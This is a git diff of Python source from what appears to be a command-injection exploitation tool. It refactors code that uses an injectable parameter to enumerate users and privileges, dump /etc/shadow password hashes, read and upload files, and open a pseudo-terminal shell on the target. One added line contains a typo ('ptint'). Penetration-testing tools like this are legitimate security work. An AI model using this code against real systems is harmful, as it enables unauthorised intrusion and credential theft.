output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
@@ -94,12 +90,12 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
- info_msg = "The hostname is " + str(shell) + "."
+ info_msg = "Hostname: " + str(shell) + "."
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The hostname is " + str(shell) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -139,7 +135,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
distro_name = eb_injector.injection_results(response, TAG, cmd)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
- target_os = target_os + " (" + distro_name + ")"
+ target_os = target_os + " " + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -160,20 +156,17 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if target_arch:
- info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
- info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ if target_os and target_arch:
+ info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The underlying operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
- warn_msg = "Heuristics have failed to retrieve the system information."
+ warn_msg = "Heuristics have failed to fetch underlying operating system information."
print(settings.print_warning_msg(warn_msg))
"""
@@ -201,65 +194,54 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if cu_account:
- # Check if the user have super privileges.
- if menu.options.is_root or menu.options.is_admin:
- if settings.TARGET_OS == "win":
- cmd = settings.IS_ADMIN
- if not alter_shell:
- cmd = "\"" + cmd + "\""
- else:
- cmd = settings.IS_ROOT
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Perform target page reload (if it is required).
- if settings.URL_RELOAD:
- response = requests.url_reload(url, timesec)
- # Evaluate injection results.
- shell = eb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell).replace(" ", "", 1)
- session_handler.store_cmd(url, cmd, shell, vuln_parameter)
- else:
- shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- if shell:
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is not privileged.\n")
- output_file.close()
- else:
- sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is privileged.\n")
- output_file.close()
- else:
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ info_msg = "Current user: " + str(cu_account)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = "Current user: " + str(cu_account) + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
else:
- warn_msg = "Heuristics have failed to identify the current user."
+ warn_msg = "Heuristics have failed to fetch the current user."
print(settings.print_warning_msg(warn_msg))
+
+"""
+Check if the current user has excessive privileges.
+"""
+def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ if settings.TARGET_OS == "win":
+ cmd = settings.IS_ADMIN
+ if not alter_shell:
+ cmd = "\"" + cmd + "\""
+ else:
+ cmd = settings.IS_ROOT
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ # Command execution results.
+ response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ # Perform target page reload (if it is required).
+ if settings.URL_RELOAD:
+ response = requests.url_reload(url, timesec)
+ # Evaluate injection results.
+ shell = eb_injector.injection_results(response, TAG, cmd)
+ shell = "".join(str(p) for p in shell).replace(" ", "", 1)
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ else:
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+
+ _ = "True"
+ if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
+ (settings.TARGET_OS != "win" and shell != "0"):
+ _ = "False"
+
+ info_msg = "Current user has excessive privileges: " + str(_)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+
"""
System users enumeration
"""
@@ -302,14 +284,13 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys_users_list = sys_users_list.split()
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " via 'net users' command."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
@@ -317,10 +298,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
if alter_shell:
cmd = cmd.replace("'","\\'")
- else:
- cmd = "\"" + cmd + "\""
- response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- check_privs = eb_injector.injection_results(response, TAG, cmd)
+ cmd = "cmd /c " + cmd
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ check_privs = cb_injector.injection_results(response, TAG, cmd)
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p) for p in check_privs).strip()
@@ -338,30 +318,25 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration.
+ print(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
-
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
+ warn_msg = "It seems that you don't have permissions to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
-
+
+ # Unix-like users enumeration.
else:
- info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
info_msg += "' in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ print(settings.print_info_msg(info_msg))
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
@@ -371,11 +346,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
@@ -387,12 +360,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.PASSWD_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -432,11 +403,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
else :
is_privileged = ""
is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -450,30 +421,26 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
output_file.write(" " + sys_users)
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.PASSWD_FILE + "'."
- print("\n" + settings.print_warning_msg(warn_msg))
-
+ ptint(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
-
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
+
"""
System passwords enumeration
"""
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
- # Not yet implemented!
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
pass
else:
cmd = settings.SYS_PASSES
@@ -492,20 +459,16 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
if sys_passes == "":
sys_passes = " "
if sys_passes :
- info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
info_msg += "' in order to enumerate users password hashes. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- sys_passes = "".join(str(p) for p in sys_passes)
+ print(settings.print_info_msg(info_msg))
sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split( )
+ sys_passes = sys_passes.split()
if len(sys_passes) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_passes))
info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.SHADOW_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -518,7 +481,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
+ print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -529,25 +492,24 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
+ print(settings.print_warning_msg(warn_msg))
print(fields[0])
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + fields[0])
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.SHADOW_FILE + "' file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
+
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- cmd = menu.options.os_cmd
- info_msg = "Executing the user-supplied command '" + cmd + "'."
+ cmd = menu.options.os_cmd
+ info_msg = "Executing the user-supplied command: '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -561,43 +523,49 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- if shell != "":
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
- print(settings.command_execution_output(shell))
- print(settings.SINGLE_WHITESPACE)
+ if shell and shell != "":
+ _ = "'" + cmd + "' execution output"
+ print(settings.print_retrieved_data(_, shell))
else:
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
-
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ print(settings.print_error_msg(err_msg))
"""
Check the defined options
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
-
- # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE:
- # print(settings.SINGLE_WHITESPACE)
-
# Check if PowerShell is enabled.
if not menu.options.ps_version and settings.TARGET_OS == "win":
checks.ps_check()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
+ info_msg = "Fetching powershell version."
+ print(settings.print_info_msg(info_msg))
powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
+ info_msg = "Fetching hostname."
+ print(settings.print_info_msg(info_msg))
hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
+ info_msg = "Fetching current user."
+ print(settings.print_info_msg(info_msg))
current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
+ if menu.options.is_root or menu.options.is_admin:
+ info_msg = "Testing if current user has excessive privileges."
+ print(settings.print_info_msg(info_msg))
+ check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ settings.ENUMERATION_DONE = True
+
if menu.options.sys_info:
+ info_msg = "Fetching the underlying operating system information."
+ print(settings.print_info_msg(info_msg))
system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index cd91cc4534..67090acfa1 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -32,7 +32,7 @@
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching the content of the file '"
+ info_msg = "Fetching content of the file: '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -53,17 +53,13 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- # print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Fetched content of the file '"
- info_msg += file_to_read + "'."
- print(settings.print_bold_info_msg(info_msg))
- print(settings.print_sub_content(shell))
+ _ = "Fetched file content"
+ print(settings.print_retrieved_data(_, shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
+ info_msg += file_to_read + "' : " + shell + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -141,8 +137,6 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- #if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
@@ -155,7 +149,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
"""
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
- # Not yet implemented
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
pass
else:
file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
@@ -199,8 +194,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 38e4e91ba0..8303638c86 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -138,11 +138,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
payload = payload.replace(" ", "%20")
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
- print(settings.print_payload(payload))
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
+ if settings.VERBOSITY_LEVEL != 0:
print(settings.print_payload(payload))
# Cookie header injection
@@ -209,10 +205,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
- except KeyboardInterrupt:
- raise
-
- except SystemExit:
+ except (KeyboardInterrupt, SystemExit):
+ print(settings.SINGLE_WHITESPACE)
raise
except EOFError:
@@ -283,12 +277,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
checks.total_of_requests()
- # Print the findings to terminal.
- info_msg = "The"
+ finding = ""
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- info_msg += " " + http_request_method
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
- info_msg += found_vuln_parameter + " seems injectable via "
+ finding += http_request_method
+ finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
+
+ # Print the findings to terminal.
+ info_msg = finding + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -304,8 +299,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
- enumerate_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and enumerate again? [y/N] > "
+ enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
@@ -327,8 +322,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
- message = "Do you want to ignore stored session and access files again? [Y/n] > "
- file_access_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and access files again? [y/N] > "
+ file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
@@ -350,23 +345,23 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- # Pseudo-Terminal shell
- go_back = False
- go_back_again = False
- while True:
- if go_back == True:
- break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
- gotshell = common.read_input(message, default="Y", check_batch=True)
- else:
- gotshell = common.read_input(message, default="n", check_batch=True)
- if gotshell in settings.CHOICE_YES:
- print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
- if settings.READLINE_ERROR:
- checks.no_readline_module()
- while True:
- try:
+ try:
+ # Pseudo-Terminal shell
+ go_back = False
+ go_back_again = False
+ while True:
+ if go_back == True:
+ break
+ message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
+ if gotshell in settings.CHOICE_YES:
+ print(settings.OS_SHELL_TITLE)
+ if settings.READLINE_ERROR:
+ checks.no_readline_module()
+ while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
@@ -395,51 +390,38 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell != "":
+ if shell or shell != "":
shell = "".join(str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(shell))
- print(settings.SINGLE_WHITESPACE)
else:
- if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1):
- print(settings.SINGLE_WHITESPACE)
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
-
- except KeyboardInterrupt:
- raise
-
- except SystemExit:
- raise
-
- except EOFError:
- if not settings.IS_TTY:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "Exiting, due to EOFError."
- print(settings.print_error_msg(err_msg))
- raise
-
- elif gotshell in settings.CHOICE_NO:
- if checks.next_attack_vector(technique, go_back) == True:
- break
- else:
- if no_result == True:
- return False
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ print(settings.print_error_msg(err_msg))
+ elif gotshell in settings.CHOICE_NO:
+ if checks.next_attack_vector(technique, go_back) == True:
+ break
else:
- return True
-
- elif gotshell in settings.CHOICE_QUIT:
- raise SystemExit()
+ if no_result == True:
+ return False
+ else:
+ return True
+ elif gotshell in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + gotshell + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
- else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
+ except (KeyboardInterrupt, SystemExit):
+ raise
+ except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "Exiting, due to EOFError."
+ print(settings.print_error_msg(err_msg))
+ raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index fc76104f45..312bb20084 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -15,14 +15,11 @@
import re
import sys
-
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-
from src.core.injections.controller import checks
-
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.file_based import fb_injector
@@ -52,17 +49,14 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp
try:
if float(ps_version):
settings.PS_ENABLED = True
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
# Output PowerShell's version number
- info_msg = "The PowerShell's version number is "
+ info_msg = "Powershell version: "
info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ print(settings.print_bold_info_msg(info_msg))
